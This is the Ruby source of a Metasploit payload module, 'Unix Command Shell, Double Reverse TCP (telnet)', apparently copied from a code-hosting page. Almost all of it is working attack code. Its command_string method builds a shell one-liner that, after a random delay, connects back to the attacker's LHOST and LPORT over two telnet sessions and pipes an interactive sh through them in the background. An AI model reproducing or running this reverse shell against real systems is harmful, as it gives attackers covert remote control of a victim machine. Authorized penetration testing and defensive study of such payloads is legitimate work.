59 lines
1.5 KiB
Ruby
59 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp_double'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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CachedSize = 100
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',
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'Description' => 'Creates an interactive shell through two inbound connections',
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcpDouble,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'telnet',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd =
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"sh -c '(sleep #{3600+rand(1024)}|" +
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"telnet #{datastore['LHOST']} #{datastore['LPORT']}|" +
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"while : ; do sh && break; done 2>&1|" +
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"telnet #{datastore['LHOST']} #{datastore['LPORT']}" +
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" >/dev/null 2>&1 &)'"
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return cmd
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end
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end
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